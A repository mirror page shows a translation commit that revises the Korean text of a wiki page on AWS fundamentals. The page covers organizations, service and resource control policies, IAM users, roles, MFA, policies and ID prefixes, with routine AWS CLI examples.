gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA

Browse Source
This commit is contained in:
Translator
2025-03-17 03:51:29 +00:00
parent 7bf28c44fe
commit 6555c5d502
3 changed files with 96 additions and 66 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/images/vm_to_aa.jpg
BIN
View File
Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 142 KiB

src/pentesting-cloud/aws-security/aws-basic-information/README.md
+66 -47
View File
@@ -10,11 +10,11 @@
AWS에는 **루트 계정**이 있으며, 이는 **조직의 모든 계정에 대한 부모 컨테이너**입니다. 그러나 리소스를 배포하기 위해 해당 계정을 사용할 필요는 없으며, **다른 계정을 생성하여 서로 다른 AWS** 인프라를 분리할 수 있습니다.
이는 **보안** 관점에서 매우 흥미로운데, **하나의 계정은 다른 계정의 리소스에 접근할 수 없기 때문**입니다(특별히 브리지가 생성되지 않는 한). 따라서 배포 간에 경계를 만들 수 있습니다.
이는 **보안** 관점에서 매우 흥미롭습니다. **하나의 계정은 다른 계정의 리소스에 접근할 수 없습니다** (특별히 브리지가 생성되지 않는 한), 따라서 이 방법으로 배포 간의 경계를 만들 수 있습니다.
따라서 조직에는 **두 가지 유형의 계정**이 있습니다(우리는 AWS 계정에 대해 이야기하고 있으며 사용자 계정이 아닙니다): 관리 계정으로 지정된 단일 계정과 하나 이상의 멤버 계정입니다.
따라서 **조직에는 두 가지 유형의 계정**이 있습니다 (우리는 AWS 계정에 대해 이야기하고 있으며 사용자 계정이 아닙니다): 관리 계정으로 지정된 단일 계정과 하나 이상의 멤버 계정입니다.
- **관리 계정(루트 계정)**은 조직을 생성하는 데 사용하는 계정입니다. 조직의 관리 계정에서 다음을 수행할 수 있습니다:
- **관리 계정 (루트 계정)**은 조직을 생성하는 데 사용하는 계정입니다. 조직의 관리 계정에서 다음을 수행할 수 있습니다:
- 조직 내에서 계정 생성
- 다른 기존 계정을 조직에 초대
@@ -33,26 +33,26 @@ aws organizations create-account --account-name testingaccount --email testingac
```
### **조직 단위**
계정은 **조직 단위 (OU)**로 그룹화할 수 있습니다. 이렇게 하면 조직 단위에 대한 **정책**을 생성할 수 있으며, 이는 **모든 자식 계정에 적용됩니다**. OU는 다른 OU를 자식으로 가질 수 있습니다.
계정을 **조직 단위 (OU)**로 그룹화할 수 있습니다. 이렇게 하면 조직 단위에 대한 **정책**을 생성할 수 있으며, 이 정책은 **모든 자식 계정에 적용됩니다**. OU는 다른 OU를 자식으로 가질 수 있습니다.
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
### Service Control Policy (SCP)
A **service control policy (SCP)**는 SCP가 영향을 미치는 계정에서 사용자가 사용할 수 있는 서비스 및 작업을 지정하는 정책입니다. SCP는 **IAM** 권한 정책과 유사하지만 **권한을 부여하지 않습니다**. 대신, SCP는 조직, 조직 단위(OU) 또는 계정에 대한 **최대 권한**을 지정합니다. SCP를 조직 루트 또는 OU에 연결하면 **회원 계정의 엔티티에 대한 권한이 제한됩니다**.
A **service control policy (SCP)**는 SCP가 영향을 미치는 계정에서 사용자가 사용할 수 있는 서비스와 작업을 지정하는 정책입니다. SCP는 **IAM** 권한 정책과 유사하지만 **권한을 부여하지 않습니다**. 대신, SCP는 조직, 조직 단위(OU) 또는 계정에 대한 **최대 권한**을 지정합니다. SCP를 조직 루트 또는 OU에 연결하면 **SCP가 구성원 계정의 엔터티에 대한 권한을 제한합니다**.
이것은 **루트 사용자조차도 무언가를 하는 것을 막을 수 있는 유일한 방법**입니다. 예를 들어, 사용자가 CloudTrail을 비활성화하거나 백업을 삭제하는 것을 막는 데 사용할 수 있습니다.\
이를 우회하는 유일한 방법은 SCP를 구성하는 **마스터 계정**도 손상시키는 것입니다(마스터 계정은 차단할 수 없습니다).
이를 우회하는 유일한 방법은 SCP를 구성하는 **마스터 계정**을 손상시키는 것입니다(마스터 계정은 차단할 수 없습니다).
> [!WARNING]
> **SCP는 계정 내의 주체만 제한**하므로 다른 계정에는 영향을 미치지 않습니다. 이는 SCP가 `s3:GetObject`를 거부하더라도 사람들이 **귀하의 계정에서 공개 S3 버킷에 접근하는 것을 막지 않습니다**.
> **SCP는 계정의 주체를 제한할 뿐**이므로 다른 계정에는 영향을 미치지 않습니다. 이는 SCP가 `s3:GetObject`를 거부하더라도 사람들이 **귀하의 계정의 공개 S3 버킷에 접근하는 것을 막지 않습니다**.
SCP 예시:
- 루트 계정을 완전히 거부
- 특정 지역만 허용
- 화이트리스트에 있는 서비스만 허용
- 화이트리스트된 서비스만 허용
- GuardDuty, CloudTrail 및 S3 공개 차단 액세스 비활성화를 거부
- 보안/사고 대응 역할이 삭제되거나 수정되는 것을 거부합니다.
@@ -62,9 +62,27 @@ SCP 예시:
**JSON 예시**는 [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)에서 확인하세요.
### Resource Control Policy (RCP)
A **resource control policy (RCP)**는 **AWS 조직 내 리소스에 대한 최대 권한**을 정의하는 정책입니다. RCP는 구문에서 IAM 정책과 유사하지만 **권한을 부여하지 않습니다**—다른 정책에 의해 리소스에 적용될 수 있는 권한을 제한할 뿐입니다. RCP를 조직 루트, 조직 단위(OU) 또는 계정에 연결하면 RCP는 영향을 받는 범위 내 모든 리소스에 대한 리소스 권한을 제한합니다.
이것은 **리소스가 미리 정의된 액세스 수준을 초과할 수 없도록 보장하는 유일한 방법**입니다—정체성 기반 또는 리소스 기반 정책이 너무 관대하더라도 말입니다. 이러한 제한을 우회하는 유일한 방법은 조직의 관리 계정에서 구성된 RCP를 수정하는 것입니다.
> [!WARNING]
> RCP는 리소스가 가질 수 있는 권한만 제한합니다. 주체가 할 수 있는 일을 직접 제어하지는 않습니다. 예를 들어, RCP가 S3 버킷에 대한 외부 액세스를 거부하면, 버킷의 권한이 설정된 한계를 초과하는 작업을 허용하지 않도록 보장합니다—리소스 기반 정책이 잘못 구성되더라도 말입니다.
RCP 예시:
- S3 버킷을 제한하여 귀하의 조직 내 주체만 접근할 수 있도록 합니다.
- KMS 키 사용을 신뢰할 수 있는 조직 계정에서만 작업을 허용하도록 제한합니다.
- SQS 큐의 권한을 제한하여 무단 수정을 방지합니다.
- Secrets Manager 비밀에 대한 액세스 경계를 시행하여 민감한 데이터를 보호합니다.
예시는 [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)에서 확인하세요.
### ARN
**Amazon Resource Name**은 AWS 내의 모든 리소스가 가지는 **고유 이름**으로, 다음과 같이 구성됩니다:
**Amazon Resource Name**은 AWS 내 모든 리소스가 가지는 **고유 이름**으로, 다음과 같이 구성됩니다:
```
arn:partition:service:region:account-id:resource-type/resource-id
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
@@ -81,22 +99,22 @@ AWS에는 4개의 파티션이 있지만 이를 호출하는 방법은 3가지
IAM은 AWS 계정 내에서 **인증**, **권한 부여** 및 **액세스 제어**를 관리할 수 있게 해주는 서비스입니다.
- **인증** - 신원을 정의하고 그 신원을 검증하는 과정입니다. 이 과정은 식별 및 검증으로 세분화될 수 있습니다.
- **권한 부여** - 신원이 인증된 후 시스템 내에서 어떤 리소스에 접근할 수 있는지를 결정합니다.
- **액세스 제어** - 안전한 리소스에 대한 접근이 어떻게 부여되는지를 정의하는 방법과 과정입니다.
- **권한 부여** - 인증된 후 시스템 내에서 신원이 접근할 수 있는 것을 결정합니다.
- **액세스 제어** - 안전한 리소스에 대한 액세스가 부여되는 방법과 과정입니다.
IAM은 AWS 계정 내 리소스에 대한 신원의 인증, 권한 부여 및 액세스 제어 메커니즘을 관리, 제어 및 통치하는 능력으로 정의될 수 있습니다.
### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
Amazon Web Services (AWS) 계정을 처음 생성하면 **모든** AWS 서비스와 리소스에 **완전한 접근 권한**을 가진 단일 로그인 신원으로 시작합니다. 이것이 AWS 계정 _**루트 사용자**_이며, **계정을 생성할 때 사용한 이메일 주소와 비밀번호로 로그인하여 접근합니다**.
Amazon Web Services (AWS) 계정을 처음 생성하면 **모든** AWS 서비스와 리소스에 **완전한 액세스**를 가진 단일 로그인 신원으로 시작합니다. 이것이 AWS 계정 _**루트 사용자**_이며, **계정을 생성할 때 사용한 이메일 주소와 비밀번호로 로그인하여 접근합니다**.
새로운 **관리자 사용자**는 **루트 사용자보다 권한이 적습니다**.
보안 관점에서 볼 때, 다른 사용자를 생성하고 이 사용자를 사용하는 것을 피하는 것이 권장됩니다.
보안 관점에서 볼 때, 다른 사용자를 생성하고 이 사용자를 사용하는 것을 피하는 것이 좋습니다.
### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
IAM _사용자_는 AWS에서 **사람이나 애플리케이션을 나타내기 위해 생성하는 엔티티**입니다. AWS의 사용자는 이름과 자격 증명(비밀번호 및 최대 두 개의 액세스 키)으로 구성됩니다.
IAM _사용자_는 AWS에서 **사람이나 애플리케이션을 나타내기 위해 생성하는 엔터티**입니다. AWS의 사용자는 이름과 자격 증명(비밀번호 및 최대 두 개의 액세스 키)으로 구성됩니다.
IAM 사용자를 생성할 때, 적절한 권한 정책이 첨부된 **사용자 그룹의 구성원**으로 만들어 **권한**을 부여하거나, **정책을 사용자에게 직접 첨부**하여 권한을 부여합니다.
@@ -108,20 +126,20 @@ IAM 사용자를 생성할 때, 적절한 권한 정책이 첨부된 **사용자
- **Secret access key ID**: 40개의 무작위 대소문자 조합: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (잃어버린 비밀 액세스 키 ID를 복구할 수 없습니다).
**Access Key**를 **변경해야 할 때** 따라야 할 과정은 다음과 같습니다:\
_새 액세스 키 생성 -> 시스템/애플리케이션에 새 키 적용 -> 원래 키를 비활성화로 표시 -> 새 액세스 키가 작동하는지 테스트 및 검증 -> 이전 액세스 키 삭제_
_새 액세스 키 생성 -> 시스템/애플리케이션에 새 키 적용 -> 원래 키를 비활성화로 표시 -> 새 액세스 키가 작동하는지 테스트 및 확인 -> 이전 액세스 키 삭제_
### MFA - Multi Factor Authentication
기존 방법(예: 비밀번호) 외에 **인증을 위한 추가 요소를 생성**하는 데 사용되며, 따라서 다단계 인증 수준을 생성합니다.\
**무료 가상 애플리케이션 또는 물리적 장치**를 사용할 수 있습니다. Google 인증기와 같은 앱을 무료로 사용하여 AWS에서 MFA를 활성화할 수 있습니다.
**무료 가상 애플리케이션이나 물리적 장치**를 사용할 수 있습니다. Google 인증과 같은 앱을 무료로 사용하여 AWS에서 MFA를 활성화할 수 있습니다.
MFA 조건이 있는 정책은 다음에 첨부될 수 있습니다:
- IAM 사용자 또는 그룹
- Amazon S3 버킷, Amazon SQS 큐 또는 Amazon SNS 주제와 같은 리소스
- 사용자가 수용할 수 있는 IAM 역할의 신뢰 정책
- 사용자가 맡을 수 있는 IAM 역할의 신뢰 정책
**CLI를 통해** MFA를 **확인하는 리소스에 접근**하려면 **`GetSessionToken`**을 호출해야 합니다. 그러면 MFA에 대한 정보가 포함된 토큰이 제공됩니다.\
**MFA를 확인하는** 리소스에 **CLI를 통해 접근**하려면 **`GetSessionToken`**을 호출해야 합니다. 그러면 MFA에 대한 정보가 포함된 토큰이 제공됩니다.\
**`AssumeRole` 자격 증명에는 이 정보가 포함되어 있지 않습니다**.
```bash
aws sts get-session-token --serial-number <arn_device> --token-code <code>
@@ -143,9 +161,9 @@ IAM [사용자 그룹](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_group
### [IAM 역할](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
IAM **역할**은 **사용자**와 매우 **유사**하며, AWS에서 **무엇을 할 수 있고 할 수 없는지를 결정하는 권한 정책을 가진 **신원**입니다. 그러나 역할은 **자격 증명**(비밀번호 또는 액세스 키)이 없습니다. 역할은 특정 개인과 고유하게 연결되는 것이 아니라, **필요한 사람 누구나 (충분한 권한이 있는 경우)** **가정할 수 있도록** 설계되었습니다. **IAM 사용자는 특정 작업을 위해** 다른 권한을 일시적으로 **가정할 수 있습니다**. 역할은 IAM 대신 외부 신원 공급자를 사용하여 로그인하는 [**연합 사용자**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)에게 **할당될 수 있습니다**.
IAM **역할**은 **사용자**와 매우 **유사**하며, AWS에서 **무엇을 할 수 있고 할 수 없는지를 결정하는 권한 정책을 가진 **신원**입니다. 그러나 역할은 **자격 증명**(비밀번호 또는 액세스 키)이 없습니다. 역할은 한 사람과 고유하게 연결되는 것이 아니라, **필요한 사람(그리고 충분한 권한이 있는 사람)**이 **가정할 수 있도록** 설계되었습니다. **IAM 사용자는 특정 작업을 위해** 일시적으로 다른 권한을 취득하기 위해 역할을 **가정할 수 있습니다**. 역할은 IAM 대신 외부 신원 공급자를 사용하여 로그인하는 [**연합 사용자**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)에게 **할당될 수 있습니다**.
IAM 역할은 **두 가지 유형의 정책**으로 구성됩니다: **신뢰 정책**, 비어 있을 수 없으며 **누가 역할을 가정할 수 있는지를 정의**하고, **권한 정책**, 비어 있을 수 없으며 **무엇에 접근할 수 있는지를 정의**합니다.
IAM 역할은 **두 가지 유형의 정책**으로 구성됩니다: **비준 정책**(비어 있을 수 없음)으로 **누가 역할을 가정할 수 있는지를 정의**하고, **권한 정책**(비어 있을 수 없음)으로 **무엇에 접근할 수 있는지를 정의**합니다.
#### AWS 보안 토큰 서비스 (STS)
@@ -153,7 +171,7 @@ AWS 보안 토큰 서비스 (STS)는 **임시, 제한된 권한 자격 증명**
### [IAM의 임시 자격 증명](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
**임시 자격 증명은 주로 IAM 역할과 함께 사용되지만**, 다른 용도도 있습니다. 표준 IAM 사용자보다 더 제한된 권한 세트를 가진 임시 자격 증명을 요청할 수 있습니다. 이는 **더 제한된 자격 증명으로 허용되지 않는 작업을 실수로 수행하는 것을 방지**합니다. 임시 자격 증명의 장점은 설정된 기간 후에 자동으로 만료된다는 것입니다. 자격 증명이 유효한 기간을 제어할 수 있습니다.
**임시 자격 증명은 주로 IAM 역할과 함께 사용되지만**, 다른 용도도 있습니다. 표준 IAM 사용자보다 더 제한된 권한 세트를 가진 임시 자격 증명을 요청할 수 있습니다. 이는 **더 제한된 자격 증명으로 허용되지 않는 작업을 실수로 수행하는 것을 방지합니다**. 임시 자격 증명의 장점은 설정된 기간 후에 자동으로 만료된다는 것입니다. 자격 증명이 유효한 기간을 제어할 수 있습니다.
### 정책
@@ -162,9 +180,9 @@ AWS 보안 토큰 서비스 (STS)는 **임시, 제한된 권한 자격 증명**
권한을 할당하는 데 사용됩니다. 두 가지 유형이 있습니다:
- AWS 관리형 정책 (AWS에서 미리 구성)
- 고객 관리형 정책: 사용자가 구성. AWS 관리형 정책을 기반으로 정책을 생성할 수 있습니다 (그 중 하나를 수정하고 자신의 것을 생성), 정책 생성기를 사용하거나 (권한을 부여하고 거부하는 데 도움을 주는 GUI 보기) 직접 작성할 수 있습니다.
- 고객 관리형 정책: 사용자가 구성합니다. AWS 관리형 정책을 기반으로 정책을 생성할 수 있습니다(그 중 하나를 수정하고 자신의 것을 생성), 정책 생성기를 사용하거나(권한을 부여하고 거부하는 데 도움을 주는 GUI 보기) 직접 작성할 수 있습니다.
**기본적으로 접근은** **거부됩니다**, 명시적인 역할이 지정된 경우에만 접근이 허용됩니다.\
기본적으로 **접근이 거부됩니다**, 명시적인 역할이 지정된 경우에만 접근이 허용됩니다.\
**단일 "거부"가 존재하면 "허용"을 무시합니다**, AWS 계정의 루트 보안 자격 증명을 사용하는 요청은 기본적으로 허용됩니다.
```javascript
{
@@ -193,8 +211,8 @@ AWS 보안 토큰 서비스 (STS)는 **임시, 제한된 권한 자격 증명**
#### 인라인 정책
이러한 정책은 **사용자, 그룹 또는 역할에 직접 할당**됩니다. 따라서 다른 사용자가 사용할 수 있는 정책 목록에는 나타나지 않습니다.\
인라인 정책은 **정책과 적용되는 정체성 간의 엄격한 일대일 관계를 유지**하고자 할 때 유용합니다. 예를 들어, 정책의 권한이 의도된 정체성 외의 다른 정체성에 우연히 할당되지 않도록 하려는 경우입니다. 인라인 정책을 사용할 때, 정책의 권한은 잘못된 정체성에 우연히 연결될 수 없습니다. 또한, AWS Management Console을 사용하여 해당 정체성을 삭제할 때, 정체성에 내장된 정책도 함께 삭제됩니다. 이는 그것들이 주체 엔티티의 일부이기 때문입니다.
이러한 종류의 정책은 **사용자, 그룹 또는 역할에 직접 할당**됩니다. 따라서 다른 사용자가 사용할 수 있는 정책 목록에는 나타나지 않습니다.\
인라인 정책은 **정책과 적용되는 정체성 간의 엄격한 일대일 관계를 유지**하고자 할 때 유용합니다. 예를 들어, 정책의 권한이 의도된 정체성 외의 다른 정체성에 우연히 할당되지 않도록 확실히 하고 싶습니다. 인라인 정책을 사용할 때, 정책의 권한은 잘못된 정체성에 우연히 연결될 수 없습니다. 또한, AWS Management Console을 사용하여 해당 정체성을 삭제할 때, 정체성에 내장된 정책도 함께 삭제됩니다. 이는 그것들이 주체 엔티티의 일부이기 때문입니다.
#### 리소스 버킷 정책
@@ -206,15 +224,15 @@ AWS 보안 토큰 서비스 (STS)는 **임시, 제한된 권한 자격 증명**
IAM 경계는 **사용자 또는 역할이 접근할 수 있는 권한을 제한하는 데 사용**될 수 있습니다. 이렇게 하면, **다른 정책**에 의해 사용자에게 다른 권한 세트가 부여되더라도, 그가 이를 사용하려고 할 경우 작업이 **실패**합니다.
경계는 사용자에게 첨부된 정책으로, **사용자 또는 역할이 가질 수 있는 최대 권한 수준을 나타냅니다**. 따라서, **사용자가 관리자 접근 권한을 가지고 있더라도**, 경계가 그가 S· 버킷만 읽을 수 있다고 나타내면, 그것이 그가 할 수 있는 최대입니다.
경계는 사용자에게 첨부된 정책으로, **사용자 또는 역할이 가질 수 있는 최대 권한 수준을 나타냅니다**. 따라서 **사용자가 관리자 접근 권한을 가지고 있더라도**, 경계가 그가 S· 버킷만 읽을 수 있다고 나타내면, 그것이 그가 할 수 있는 최대입니다.
**이것**과 **SCP** 및 **최소 권한 원칙**을 따르는 것은 사용자가 필요한 것보다 더 많은 권한을 가지지 않도록 제어하는 방법입니다.
### 세션 정책
세션 정책은 **역할이 가정될 때 설정되는 정책**입니다. 이는 해당 세션에 대한 **IAM 경계**와 같습니다: 즉, 세션 정책은 권한을 부여하지 않지만 **정책에 명시된 권한으로 제한합니다**(최대 권한은 역할이 가진 권한입니다).
세션 정책은 **역할이 가정될 때 설정되는 정책**입니다. 이는 해당 세션에 대한 **IAM 경계**와 같습니다: 즉, 세션 정책은 권한을 부여하지 않지만 **정책에 명시된 권한으로 제한합니다**(역할이 가진 최대 권한이 됩니다).
이는 **보안 조치**에 유용합니다: 관리자가 매우 특권이 있는 역할을 가정할 때, 세션이 손상될 경우를 대비하여 세션 정책에 명시된 권한만으로 제한할 수 있습니다.
이는 **보안 조치**에 유용합니다: 관리자가 매우 특권이 있는 역할을 가정할 때, 세션이 손상될 경우 세션 정책에 명시된 권한만으로 제한할 수 있습니다.
```bash
aws sts assume-role \
--role-arn <value> \
@@ -222,24 +240,24 @@ aws sts assume-role \
[--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
[--policy <file://policy.json>]
```
기본적으로 **AWS는 세션을 생성할 때 세션 정책을 추가할 수 있습니다**. 예를 들어, [인증되지 않은 cognito 가정 역할](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)에서는 기본적으로 (향상된 인증을 사용하여) AWS가 **세션 정책이 포함된 세션 자격 증명**을 생성하여 세션이 접근할 수 있는 서비스의 범위를 제한합니다 [**다음 목록으로**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
기본적으로 **AWS는 세션을 생성할 때 세션 정책을 추가할 수 있습니다**. 예를 들어, [인증되지 않은 cognito 가정 역할](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles)에서는 기본적으로 (향상된 인증을 사용하여) AWS가 **세션 정책이 포함된 세션 자격 증명**을 생성하여 해당 세션이 접근할 수 있는 서비스의 범위를 제한합니다 [**다음 목록으로**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services).
따라서 "... 세션 정책이 ...을 허용하지 않기 때문에"라는 오류에 직면하게 되면, 역할이 해당 작업을 수행할 수 있는 접근 권한이 있음에도 불구하고 **세션 정책이 이를 방지하고 있는 것입니다**.
따라서, 어느 시점에 "... 세션 정책이 ...을 허용하지 않기 때문에"라는 오류가 발생하고 역할이 해당 작업을 수행할 수 있는 경우, **세션 정책이 이를 방지하고 있기 때문입니다**.
### 아이덴티티 연합
아이덴티티 연합은 **AWS 외부의 아이덴티티 제공자**에서 사용자가 AWS 리소스에 안전하게 접근할 수 있도록 하며, 유효한 IAM 사용자 계정의 AWS 사용자 자격 증명을 제공할 필요가 없습니다.\
아이덴티티 연합은 **AWS 외부의 아이덴티티 제공자에서 오는 사용자**가 AWS 리소스에 안전하게 접근할 수 있도록 하며, 유효한 IAM 사용자 계정의 AWS 사용자 자격 증명을 제공할 필요가 없습니다.\
아이덴티티 제공자의 예로는 귀사의 **Microsoft Active Directory** (via **SAML**) 또는 **OpenID** 서비스 (예: **Google**)가 있습니다. 연합된 접근은 그 안의 사용자들이 AWS에 접근할 수 있도록 합니다.
이 신뢰를 구성하기 위해 **IAM 아이덴티티 제공자(SAML 또는 OAuth)**가 생성되어 **다른 플랫폼을 신뢰**합니다. 그런 다음, 최소한 하나의 **IAM 역할이 아이덴티티 제공자에 할당(신뢰)**됩니다. 신뢰된 플랫폼의 사용자가 AWS에 접근하면, 언급된 역할로 접근하게 됩니다.
이 신뢰를 구성하기 위해 **IAM 아이덴티티 제공자 (SAML 또는 OAuth)**가 생성되어 **다른 플랫폼을 신뢰**합니다. 그런 다음, 최소한 하나의 **IAM 역할이 아이덴티티 제공자에 (신뢰하는) 할당됩니다**. 신뢰된 플랫폼의 사용자가 AWS에 접근하면, 언급된 역할로 접근하게 됩니다.
그러나 일반적으로 **사용자의 그룹에 따라 다른 역할을 부여하고 싶어할 것입니다**. 그러므로 여러 **IAM 역할이** 제3자 아이덴티티 제공자를 신뢰할 수 있으며, 제3자 플랫폼이 사용자가 하나의 역할 또는 다른 역할을 가정하도록 허용하는 것입니다.
그러나 일반적으로 **제3자 플랫폼의 사용자 그룹에 따라 다른 역할을 부여하고 싶어할 것입니다**. 그러면 여러 **IAM 역할이 제3자 아이덴티티 제공자를 신뢰할 수 있으며**, 제3자 플랫폼이 사용자가 하나의 역할 또는 다른 역할을 가정하도록 허용하게 됩니다.
<figure><img src="../../../images/image (247).png" alt=""><figcaption></figcaption></figure>
### IAM 아이덴티티 센터
AWS IAM 아이덴티티 센터(AWS Single Sign-On의 후속 제품)는 AWS 아이덴티티 및 접근 관리(IAM)의 기능을 확장하여 **사용자 및 그들의 AWS** 계정 및 클라우드 애플리케이션에 대한 접근 관리를 통합하는 **중앙 장소**를 제공합니다.
AWS IAM 아이덴티티 센터 (AWS Single Sign-On의 후속 제품)는 AWS 아이덴티티 및 접근 관리 (IAM)의 기능을 확장하여 **사용자 및 그들의 AWS** 계정 및 클라우드 애플리케이션에 대한 접근을 **중앙에서 관리할 수 있는 장소**를 제공합니다.
로그인 도메인은 `<user_input>.awsapps.com`과 같은 형식이 될 것입니다.
@@ -247,23 +265,23 @@ AWS IAM 아이덴티티 센터(AWS Single Sign-On의 후속 제품)는 AWS 아
- 아이덴티티 센터 디렉토리: 일반 AWS 사용자
- 액티브 디렉토리: 다양한 커넥터 지원
- 외부 아이덴티티 제공자: 모든 사용자 및 그룹이 외부 아이덴티티 제공자(IdP)에서 옵니다.
- 외부 아이덴티티 제공자: 모든 사용자 및 그룹이 외부 아이덴티티 제공자 (IdP)에서 옵니다.
<figure><img src="../../../images/image (279).png" alt=""><figcaption></figcaption></figure>
아이덴티티 센터 디렉토리의 가장 간단한 경우, **아이덴티티 센터는 사용자 및 그룹 목록을 보유**하고 있으며, **정책을 할당**하여 **조직의 모든 계정**에 적용할 수 있습니다.
아이덴티티 센터 디렉토리의 가장 간단한 경우, **아이덴티티 센터는 사용자 및 그룹 목록을 가지고** 있으며, **정책을 할당**하여 **조직의 모든 계정**에 적용할 수 있습니다.
아이덴티티 센터 사용자/그룹에게 계정에 대한 접근을 부여하기 위해 **아이덴티티 센터를 신뢰하는 SAML 아이덴티티 제공자가 생성**되고, **지정된 정책으로 아이덴티티 제공자를 신뢰하는 역할이 대상 계정에 생성**됩니다.
아이덴티티 센터 사용자/그룹에게 계정에 대한 접근을 부여하기 위해 **아이덴티티 센터를 신뢰하는 SAML 아이덴티티 제공자가 생성되고**, **지정된 정책을 가진 아이덴티티 제공자를 신뢰하는 역할이 대상 계정에 생성됩니다**.
#### AwsSSOInlinePolicy
**IAM 아이덴티티 센터를 통해 생성된 역할에 인라인 정책을 통해 권한을 부여하는 것이 가능합니다**. AWS 아이덴티티 센터에서 **인라인 정책을 가진 역할**이 생성된 계정은 **`AwsSSOInlinePolicy`**라는 인라인 정책에서 이러한 권한을 가집니다.
**IAM 아이덴티티 센터를 통해 생성된 역할에 인라인 정책을 통해 권한을 부여하는 것이 가능합니다**. AWS 아이덴티티 센터에서 **인라인 정책을 가진 계정에서 생성된 역할**은 **`AwsSSOInlinePolicy`**라는 인라인 정책에서 이러한 권한을 가집니다.
따라서 **`AwsSSOInlinePolicy`**라는 인라인 정책을 가진 2개의 역할을 보더라도, **동일한 권한을 가진다는 의미는 아닙니다**.
따라서, **`AwsSSOInlinePolicy`**라는 인라인 정책을 가진 2개의 역할을 보더라도, **동일한 권한을 가지고 있다는 의미는 아닙니다**.
### 크로스 계정 신뢰 및 역할
**사용자**(신뢰하는)는 일부 정책을 가진 크로스 계정 역할을 생성한 다음, **다른 사용자**(신뢰받는)가 **자신의 계정에 접근할 수 있도록 허용**하지만 **새 역할 정책에 명시된 접근만 허용**합니다. 이를 생성하려면 새 역할을 만들고 크로스 계정 역할을 선택하면 됩니다. 크로스 계정 접근을 위한 역할은 두 가지 옵션을 제공합니다. 소유한 AWS 계정 간의 접근을 제공하거나, 소유한 계정과 제3자 AWS 계정 간의 접근을 제공합니다.\
**사용자** (신뢰하는)는 일부 정책을 가진 크로스 계정 역할을 생성한 다음, **다른 사용자** (신뢰받는)가 **그의 계정에 접근할 수 있도록 허용하지만, 오직 **새 역할 정책에 명시된 접근만 허용합니다**. 이를 생성하려면, 새 역할을 만들고 크로스 계정 역할을 선택하면 됩니다. 크로스 계정 접근을 위한 역할은 두 가지 옵션을 제공합니다. 소유한 AWS 계정 간의 접근을 제공하거나, 소유한 계정과 제3자 AWS 계정 간의 접근을 제공합니다.\
신뢰받는 사용자를 **구체적으로 지정하고 일반적인 내용을 넣지 않는 것이 좋습니다**. 그렇지 않으면, 연합된 사용자와 같은 다른 인증된 사용자가 이 신뢰를 남용할 수 있습니다.
### AWS Simple AD
@@ -285,9 +303,9 @@ AWS IAM 아이덴티티 센터(AWS Single Sign-On의 후속 제품)는 AWS 아
### 기타 IAM 옵션
- **비밀번호 정책 설정**을 통해 최소 길이 및 비밀번호 요구 사항과 같은 옵션을 설정할 수 있습니다.
- 현재 자격 증명에 대한 정보(예: 사용자 생성 시간, 비밀번호 사용 가능 여부 등)를 포함한 **"자격 증명 보고서"를 다운로드**할 수 있습니다. 자격 증명 보고서는 최대 **4시간마다** 생성할 수 있습니다.
- 현재 자격 증명에 대한 정보 (예: 사용자 생성 시간, 비밀번호 활성화 여부 등)를 포함한 **"자격 증명 보고서"를 다운로드할 수 있습니다**. 자격 증명 보고서는 최대 **4시간마다** 생성할 수 있습니다.
AWS 아이덴티티 및 접근 관리(IAM)는 AWS 전반에 걸쳐 **세밀한 접근 제어**를 제공합니다. IAM을 사용하면 **누가 어떤 서비스와 리소스에 접근할 수 있는지** 및 어떤 조건에서 접근할 수 있는지를 지정할 수 있습니다. IAM 정책을 통해 인력과 시스템에 대한 권한을 관리하여 **최소 권한 원칙**을 보장합니다.
AWS 아이덴티티 및 접근 관리 (IAM)는 AWS 전반에 걸쳐 **세밀한 접근 제어**를 제공합니다. IAM을 사용하면 **누가 어떤 서비스와 리소스에 접근할 수 있는지**, 그리고 어떤 조건에서 접근할 수 있는지를 지정할 수 있습니다. IAM 정책을 통해, 인력과 시스템에 대한 권한을 관리하여 **최소 권한 원칙**을 보장합니다.
### IAM ID 접두사
@@ -307,7 +325,7 @@ AWS 아이덴티티 및 접근 관리(IAM)는 AWS 전반에 걸쳐 **세밀한
| APKA | 공개 키 |
| AROA | 역할 |
| ASCA | 인증서 |
| ASIA | [임시(AWS STS) 액세스 키 ID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html)는 이 접두사를 사용하지만, 비밀 액세스 키 및 세션 토큰과 조합하여야만 고유합니다. |
| ASIA | [임시 (AWS STS) 액세스 키 ID](https://docs.aws.amazon.com/STS/latest/APIReference/API_Credentials.html)는 이 접두사를 사용하지만, 비밀 액세스 키 및 세션 토큰과 조합해야만 고유합니다. |
### 계정 감사에 권장되는 권한
